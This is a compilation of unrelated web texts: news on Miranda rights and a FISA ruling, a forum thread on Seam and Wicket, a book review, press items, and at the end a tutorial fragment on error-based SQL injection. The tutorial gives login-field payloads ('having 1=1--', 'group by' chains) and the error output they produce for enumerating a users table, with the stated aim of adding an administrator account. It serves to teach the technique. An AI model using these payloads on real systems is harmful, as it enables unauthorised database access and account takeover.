"When police officers are confronted by a concern for public safety, Miranda warnings need not be provided prior to asking questions directed at neutralizing an imminent threat, and voluntary statements made in response to such narrowly tailored questions can be admitted at trial," the bulletin read.
What other reasons might there be for not reading a suspect's Miranda rights?
Some legislators, notably U.S. Sens. John McCain of Arizona and Lindsey Graham of South Carolina, want the suspect declared an "enemy combatant," a designation that allows a suspect to be questioned without a lawyer and without being informed of his Miranda rights. It applies to foreign nationals caught on an enemy battlefield, but such definitions have become murkier in the "war on terror."
If Tsarnaev, a naturalized American citizen, is given such a designation, he could be tried in federal court and face the death penalty, which Massachusetts does not have.
How do Miranda rights affect evidence gained from questioning?
If a person knowingly and voluntarily waives these rights, then anything he says to authorities can be used against him as evidence at a criminal trial. With the public safety exception, the government is allowed to question a suspect without giving him his Miranda warnings and still use the statements at his criminal trial.
If he asks for his Miranda rights, do they have to be read to him?
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What if a suspect is unable to communicate?
Currently, reports indicate that Tsarnaev is unable to speak. However, it's not necessary to be able to speak; one can communicate in other ways.
But other variables are in play that could delay his arraignment: He must be of sound mind to understand the charges against him. If he gets an attorney before arraignment, his attorney could ask for a delay until he can properly communicate with his client. His attorney is also likely to request that any interrogation by law enforcement cease.
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Critical Reading and Writing I: The Academic Essay
ENGL 0900 S02 [CRN: 15608]An introduction to university-level writing. Students produce and revise multiple drafts of essays, practice essential skills of paragraph organization, and develop techniques of critical analysis and research. Readings from a wide range of texts in literature, the media, and academic disciplines. Assignments move from personal response papers to formal academic essays. Enrollment limited to 17. Banner registrations after classes begin require instructor approval. S/NC.
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"When you've got an elephant by the hind leg, and he's trying to run away, it's best to let him run.†So says an actor portraying Abe Lincoln in a new iPhone app commemorating the 200th anniversary of the Great Emancipator's birth.
The actual program itself is . . . well, it's useless. It's a kind of a neat portrait of Honest Abe, and when you tap the screen, you get one of six wisdom-filled quotations read in deep stentorian voice. Which we think is a historical inaccuracy, but never mind that now. The program's one other feature is a button that links you a page on the Rosenbach Museum's website, called "21st Century Abe†(the Rosenbach has a collection of Lincoln's papers; this app seems like it's basically an ad for the museum itself to drive traffic to their website). While this effort is simple, it's harmless (and free!), we hope the release signals the beginning of a deluge of Museum-produced software designed to give visitors better access to and a more enriching experience from collections.
For instance—why no Met Museum map app, with a Google Earth style interface allowing you to find the room you want? It could have a text search function, so if you wanted to see something particular—"Van der Weyden†or "friezeâ€â€" you could find the quickest path to your goal. And it would be easily updatatble: the reason that the Met doesn't currently have a comprehensive, detailed floor plan map is that the configuration changes often when things get lent out or new shows arrive. It might save some money on printing maps. And if people paid for it, it'd give the museum another source of revenue in what I imagine is a rough time for them financially. Not to mention it could incorporate mp3s of those walking tours that you currently have to rent bulky Walkman-style apparatuses to hear . . . you listening, the Met?
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1. Re: Wicket: Why should I use SEAM?Clint Popetz Mar 26, 2009 4:17 PM (in response to benno buesch)
benno buesch wrote on Mar 26, 2009 11:27:
when developing with jsf, i can really see no alternative to using SEAM; all these features SEAM adds without sacrificing performance is just great!
but now we are in a new project and use wicket as the web layer, and now i am unsure if we should use SEAM together with wicket. http://ptrthomas.wordpress.com/2009/01/14/seam-jsf-vs-wicket-performance-comparison/
- comment-13494 raises a similar question.
I found that comparison to be less than useful. This is apples and oranges. Sure, you can manage an extended persistence context by yourself, or implement OSiV with Spring, or whatever. Take your pick. Seam does a number of things well, and WebBeans (which Seam will augment) does them even better. It's just a question of leveraging the work of others, and taking on the dependencies you get as a result of that.
I think your list is pretty much correct except for:
conversation and page scope are not yet integrated (as page scope depends on the jsf lifecycle and conversation id's must be integrated in all linking/posting components)
The conversation scope is implemented. In the released version, it is propogated through a request filter that appends the conversation id. In the unreleased code in SVN, it's implemented with Wicket Page metadata.
The page scope is IMHO less than useful in JSF land (note that it doesn't exist in Web Beans, though it may in Seam's extensions to Web Beans, I haven't heard.) I've built a lot of Seam/JSF code and hardly ever used the PAGE scope. But it's even less useful in wicket, because you essentially have a page scope through the use of models, which are tied to a page and used as long as the page is not expired.
That having been said, if you want the page scope, provide a patch in a JIRA, and I'll add it. It does provide a uniform way to approach contexts, but it's not very wicket-y. My approach in the seam/wicket integration has been to use Seam for the things that Wicket doesn't have built-in support for, and to prefer Wicket's approach for things that are really tied to the presentation tier. That's why, for example, I haven't implemented anything similar to pages.xml for wicket. Wicket has its own way of handling navigation (which is strongly typed, where pages.xml isn't.)
This entire conversation really needs to take into account WebBeans. The web beans release will support Wicket, and then we have to see what Seam looks like when it's reimplemented as a set of services on top of Web Beans, i.e. binding annotations and some interceptors.
2. Re: Wicket: Why should I use SEAM?Chris Simons Mar 26, 2009 9:50 PM (in response to benno buesch)
Doesn't the thought of this
reinventionof Seam on top of WebBeans scare you? It's almost as if Seam was used as a catalyst to promote WebBeans, and now those who are bound to Seam are going to have to completely re architect their application in the future.
You can even look at Seam in JIRA and find that there are is only one
majorupdate planned until 3.0 (WebBeans). I'm sure this will change as bugs are found or features are requested, but still...
Have we simply fallen into a trap bait and sinker?
Also, the commotion on this forum just keeps getting worse and topics are becoming more and more basic. This shows that more and more people are attempting to adopt Seam, but where is the serious, hardcore conversation? For those of us with difficult problems or more pragmatic questions there are few avenues towards which to turn.
3. Re: Wicket: Why should I use SEAM?Clint Popetz Mar 27, 2009 12:35 AM (in response to benno buesch)
Occam's Razor gives the correct explanation here. There wasn't a grand conspiracy to bait people with Seam and then hook them into using WebBeans. I hardly see how the only company funding Seam development (Jboss) would benefit by that in any case.
The real explanation is that Seam was created, evolved, and its creators have decided upon the essential parts of Seam that really fit well into a JSR spec, i.e. the parts that are particular novel and represent additions to the JavaEE platform that aren't really addressed already, primarily type-safe dependency injection, contextual components (and the formalization of the conversation scope for jsf), annotation-based type-safe interceptors, aggregation of new interception/deployment/context/naming types (through stereotypes), and a way to do all of this for POJOs as well as EJBs without compile time byteweaving or excessive xml. These things are being formalized, specified, and implemented to that specification. The parts of seam that correspond with this will be re-implemented using this API, and the parts that go above and beyond (e.g. security, jBPM as a context, etc.) will be implemented as extensions using the hooks that Web Beans provides.
In addition, if you've looked at the two source bases, and/or played with both, you'll see that a lot has been learned, and WebBeans is a big jump forward in terms of consistency.
So no, I'm not scared or frustrated. This is the way things work, technologies evolve. I assume that the Seam team will make a big effort to preserve as much backward compatibility as possible for Seam 2.X users as the transition is made to Seam 3.X.
As far as the level of conversation on the forum, I am frustrated by that, but I can only do what I can as an individual: take part in good conversations when I see them. What's more, I think 99% of the conversations that could be construed as
pollutionare really confusion due to the problematic designs inherent in JSF 1.X, the bugs in RichFaces, and the complexity of EJBs. If I actually look for seam-specific problems, I don't see a lot of them. But then again, I'm not a fan of EJBs/RichFaces/JSF, so that's my snarky preferences coming through :)
4. Re: Wicket: Why should I use SEAM?benno buesch Mar 27, 2009 11:30 AM (in response to benno buesch)
thx clint for your long explanation!
i didnt realize that conversation scope is already integrated, great! i found the place where the conversation id is restored (in wicketfilter), but where the conversation id
is propogated through a request filter that appends the conversation id- a little hint pls... :-)
what you say about the PAGE scope completely makes sense - with jsf apps it's really elegant to change application behaviour just by changing the scope of a component between session, conv, page and event, but for the sake of not changing too much in the wicket world i favour the asymmetric approach;
btw, is there a way to use wicket's stateless pages together with seam? when the wicket filter calls new ContextualHttpServletRequest(servletRequest).run() the session is always created in the run method (
request.getSession(true)); i think seam core relies on an existing session on many places, so this is not easily achievable, right?
(and yes, i will definitely have a look at the webbeans spec this weekend!)
cheers benno!
5. Re: Wicket: Why should I use SEAM?David McArdle Jun 22, 2009 10:28 PM (in response to benno buesch)
Benno, any luck creating stateless pages with seam? -David


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Summary Impression
For anyone involved in strategic planning, security, financial markets, energy infrastructure, scenario planning, transportation or communications networking, this book is a must-read. For those of us who follow his work at GlobalGuerrillas, much of the information is familiar, but presented here in book form, the many strands of thought that make up the concept come together effectively.
Go buy a copy of this book. Now. If you are low on cash, skip a few lunches and save up the cash. It is worth it.
In my view, one of the big concepts that Brave New War presents is found on page 20:
The threat posed by al-Qaeda and other emerging groups is different. It is not at war with us over the replacement of the state but over who controls the power a state exercises. Al-Qaeda doesn't want to govern Iraq or Saudi Arabia. It wants to collapse them and exercise power through feudal relationships in the vacuum created by their failure. This stance is exemplified by al-Qaeda's relationship with the Taliban in Afghanistan. In 1996, when Osama bin Laden returned to Afghanistan, he didn't maneuver to gain control or wield power over a newly emerging Islamic state. No, that would have been a uniquely twentieth-century goal. Instead, he was eager to build a new type of organization that operated in parallel and in concert with the Taliban within the same territory. {emphasis mine}
John Robb, Brave New War, page 20
The rest of the book works out how this new concept - powered by the technology of the microchip and enabled by a combination of a globalized market economy and vulnerable, complex infrastructure - will shape the future of conflict. I've touched on similar concepts (4GW, Socionomics and Chaos and Down This Winding Road for example) over the past few months and think Mr. Robb has come up with a model that explains a lot about the current problems with the wars in Iraq and Afghanistan.
Key point, if I read it correctly - the insurgents in Iraq and most of them in Afghanistan are NOT fighting to take over their governments. They are fighting hard enough to keep the state in a broken condition. They don't really care who gets appointed Minister of Games, Recreation and Mopery. They don't care what shiny little bureaucrat gets to attend an international conference, sit at a big table and act important. The global guerrillas just want the state to exist as a fiction - a straw man that gets beaten up by the international community when things go wrong, but which cannot police the criminal activities (smuggling, counterfeit product manufacture, oil bunkering, etc.) that make them and their associates/clan/gang rich.
They can keep a state in failure relatively easily because the modern nation-state is presented as the Ultimate Sugar Daddy. Even though it is ludicrous to believe that the U.S. federal government or the Federal Reserve can micromanage the multi-trillion dollar economy found in the U.S. - they are expected to. The propaganda associated with government leads citizens to expect that all good things flow from the State. When things go wrong, the government gets the blame.
For example, imagine that over the course of the last few hundred years, a large city grew up where a major river flows into the ocean. Due to subsidence, much of this city is actually now below sea level - protected by a system of levees. One day, as will happen in nature, an enormous storm blows in from the ocean and swamps the city, breaks the levees floods the homes of millions of people.
Now, anyone who ever looked at a map of New Orleans knew that something like Katrina was going to happen one day. As Mr. Robb points out in his book, much of the most effective response was executed by private individuals and corporations - entities with effective supply chains, good communications and a focus on results, not process. The government, especially the federales got a tremendous amount of blame for their response.
Now, multiply that by ten terrorist attacks a month on vital infrastructure and you can see Mr. Robb's point - a state can be dumped into failure relatively quickly these days. As an aside, it dovetails nicely with the socionomic model of behavior - this vulernability has been there for decades. Now we are reaching a critical mass of social mood and technology that allows that vulnerability to be exposed completely.
He ends on a positive note - that by building reslient "platforms" groups can use Global Guerrilla tactics for positive ends. I like the idea. The only problem I see is that getting to those platforms will require a change in mindset so vast that it will take two generations before the applications can spread outside of niche areas.
This Brave New War described by Mr. Robb is coming to a country near you. Buy a copy of this book and then begin thinking of just how vulnerable you are to systemic disruption. Then get off your butt and begin planning for a chaotic future. And always remember - chaos is not always bad, it is the seed of opportunity and success.


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Open source software still growing up
Never mind the width...
When it comes to software, "quality" seems to be winning over "free" if Evans Data Corp's latest sampling of the development community's pulse is anything to go by.
BEA Systems' WebLogic Server has taken top overall honors in a poll of 700 developers evaluating nine Java application servers plus .NET from Microsoft.
WebLogic scored strongly in load balancing, platform support and diagnostics but - and here's the rub - badly on price. Unsurprising really for an application server that, at $10,000 per CPU, is outside the spending power of the average developer.
Bottom of EDC's poll according to price is BEA's biggest rival, WebSphere from IBM. Coming top on price were Apache's Tomcat, Red Hat's JBoss and Sun Microsystems Java System Application Server. In EDC's overall poll, Adobe Systems' JRun came second, Oracle was third, Sun fourth and Apache Tomcat came fifth.
EDC president John Andrews said while cost had been an important factor when picking software at the time open source and free software first emerged, it has since been relegated in importance. Cost is now in the "top four" according to Andrews.
This is the latest poll from EDC that sees open-source products ranking strongly but ultimately surpassed by their better-polished rivals. A poll of 1,200 developers rating 11 IDEs in July placed Eclipse and NetBeans last based on quality of features. IBM's Rational Application Development suite was top, followed by Microsoft's Visual Studio and Borland Software's Delphi.
Not that open source has much to worry about in the long-term, according to Andrews. Open source IDEs and application servers are catching up closed source produces that have had the advantage of receiving millions of dollars worth of R&D investment.
Open source is closing the features gap and out innovating closed source because it has broad input from the community instead of the backing of a single company, according to Andrews. "The speed of change we are seeing in Eclipse is amazing. They are closing the feature functionality gap at an amazing rate," Andrews said.®


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Shooting victim dropped off at fire department
Shooting happens as city observes National Night Out
Police said someone dropped off a shooting victim at a Jackson fire station on Tuesday.
Investigators said they believe the victim was shot in the head a few blocks away before being dropped off at a fire station on Medgar Evers Boulevard.
Jackson Fire Department Chief R.D. Simpson said firefighters provided first aid to the man before he was taken to the hospital.
Soul Smith said he and neighbors were hanging out when they were startled by several gunshots Tuesday evening.
"All I heard was some shots: pow, pow, pow, pow," Smith said.
Police said they believe the shooting might have happened in the Queens neighborhood.
The shooting happened the same night that Jackson leaders were out for National Night Out and talking about fighting crime with the community.
"Well, this is all about fighting crime, and we need citizens to make sure that they come together to make sure the city is safe, along with the police department," Jackson Mayor Harvey Johnson said.
Police said 56 people have been killed in 2012. That is about 20 more homicides than this time last year.
Jackson resident Betty Reed said the crime is the worst she's ever seen. She said she also believes that citizens can do more to stop it.
"We as a community can stop a lot of what's going on, too. We have got to start at home," she said.
Police have not released the name of the victim in Tuesday night's shooting. His condition has not yet been released.
Anyone with information regarding the incident is asked to contact police.


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It might not be science-fiction, but this week's Theme Thursday is definitely a double-feature!
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CHICAGO (AP) — Attorneys for a 20-year-old accused of trying to ignite a bomb in downtown Chicago won't be granted what would have been unprecedented access to secret intelligence-court records, the U.S. 7th Circuit Court of Appeals ruled Monday, reversing a trial court and handing a major victory to the government.
A three-judge panel issued its opinion just days after oral arguments in a terrorism case that touched on issues raised by Edward Snowden. Revelations by the former government contractor about expanded U.S. phone and Internet spying and how the Foreign Intelligence Surveillance Court, or FISA court, secretly signed off on them raised a furor over the practices.
In its Monday opinion, the appellate court agreed with prosecutors, who argued that letting Adel Daoud's lawyers see the FISA court records — submitted as part of a warrant application — would endanger national security.
"Our own study of the classified material has convinced us that there are indeed compelling reasons of national security for (the records) being classified," Judge Richard Posner wrote in the court's opinion. The court was submitting a sealed, classified opinion along with the public one to explain further, he added.
Daoud, a U.S citizen, has denied allegations he accepted a phony car bomb from undercover FBI agents, parked it by a Chicago bar and pressed a trigger. His trial is scheduled to start Nov. 10.
Defense attorney Thomas Durkin has said Daoud was working on a term paper about Osama bin Laden around 2012. The FISA records he wants to see, he's said, could shed light on whether investigators flagged Daoud because of Internet searches regarding bin Laden.
But the risk, Posner wrote, wasn't so much that Daoud's attorneys could disclose national secrets contained in the FISA records intentionally.
"Though it is certainly highly unlikely that Daoud's lawyers would, Snowden-like, publicize classified information in violation of federal law, they might in their zeal to defend their client ... or misremembering what is classified and what not, inadvertently say things that would provide clues to classified material," he said.
Since Congress created the FISA court in 1978, no defense attorneys had been told they could go through a FISA application — until Judge Sharon Johnson Coleman's January 29 ruling in Daoud's case.
Among Judge Coleman's errors, Posner wrote, was her finding that allowing defense attorneys access to the FISA documents would help her thrash out what secret-court material was and wasn't relevant to the case.
"The judge appears to have believed that adversary procedure is always essential to resolve contested issues, of fact," he wrote. "Not only is federal judicial procedure not always adversarial — it is not always fully open."
As an example, he noted that companies' trade secrets are frequently concealed in judicial proceedings.
Later on Monday, Durkin said he strongly disagreed.
"The adversary system is the foundation of civil liberties in this country and this opinion drives another significant wedge into that time-honored process...." he said.
While concurring with the court's overall decision, another of the three judges wrote separately Monday that she sympathized with the Catch-22 attorneys faced: They can only challenge the basis of a FISA-related warrant if they spot errors in it, but they can't spot errors because they aren't allowed to see it.
As the law is now, Judge Ilana Diamond Rovner agreed the burden was on a trail judge to sort out any discrepancies in the secret FISA records. But she added, "It remains for Congress and the Executive Branch to consider reforms that might address some of the concerns I have raised here."


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Inouye family to accept UH legacy tributeUniversity of Hawaiʻi
Jodi Leong, (808) 956-9437
Dir of Communications, University of Hawaii System
Dir of Communications, University of Hawaii System
Posted: Feb 21, 2013
Senator Daniel Inouye's family will officially accept the University of Hawai'i's tribute to the late senator at a brief ceremony on:
Friday, February 22, 2013
Time: 11 a.m.
Location: UH Manoa, C-MORE Hale, first-floor conference room.
The Board of Regents today approved a proposal that names four facilities and programs after Senator Inouye at four campuses across the state. They are:
• University of Hawai'i at Manoa – The Daniel K. Inouye Center for Microbial Oceanography: Research and Education (C-MORE)
• University of Hawai'i at Hilo – The Daniel K. Inouye College of Pharmacy
• UH Maui College – The Daniel K. Inouye Allied Health Center
• Kaua'i Community College – The Daniel K. Inouye Electronics Technology Building
Confirmed attendees include: Irene Hirano Inouye, son Ken Inouye, Rep. Colleen Hanabusa, University of Hawai'i leadership.


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This technique was first discovered by David Litchfield
and the author in the course of a penetration test;
David later wrote a paper on the technique, and subsequent authors
have referenced this work. This explanation discusses the mechanisms
underlying the 'error message' technique, enabling one to fully
understand it, and potentially originate variations of their own.
So I am giving credit where it is due ............
Lets do it - Our 'users' table may have been created with the following command:
create table users (id int,
username varchar(255),
password varchar(255),
privs int
and the users inserted:
insert into users values(0, 'admin', 'r00tr0x!', 0xffff)
insert into users values (0, 'guest', 'guest', 0x0000)
insert into users values (0, 'chris', 'password', 0x00ff)
insert into users values (0, 'frank', 'sesame', 0x00ff)
Ok, so we want to insert a user account for ourself. Without knowing the structure of the 'users' table, we are unlikely to meet with success. Even if luck is with us the significance of the 'privs' field is unclear. We might insert a '1' and give ourself a low-privileged account when we really wanted administrative access.
Fortunately, if we have 'Error messages'- default ASP structure (yes I did say fortunately - there is good in them sometimes) we can determine the entire structure of the DB ---
First we want to establish the names of the tables that the query operates on, and the names of the fields:
Username: ' having 1=1--
and we get this error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]column 'users.id' is invalid in the select list vecause ot is not contained in an aggregate function and there is o GROUP BY clause.
/process_login.asp, line 35
So we now know the table name and column name of the first column and can continue throught the columns one field at a time using 'Group By'.
Username: 'group by users.id having 1=1--
And we get this error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Eventually we arrive at the following 'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
We get here no errors and it is (at least functionally) equivalent to:
select * from users where username = ''
So we now know that the query is referencing only the 'users' table, and is using the columns 'id, username, password, privs' - respectively.
Of course it would be useful to figure out the types of each column, too.
I'v been up for about 60 hours straight and that will have to wait until part II.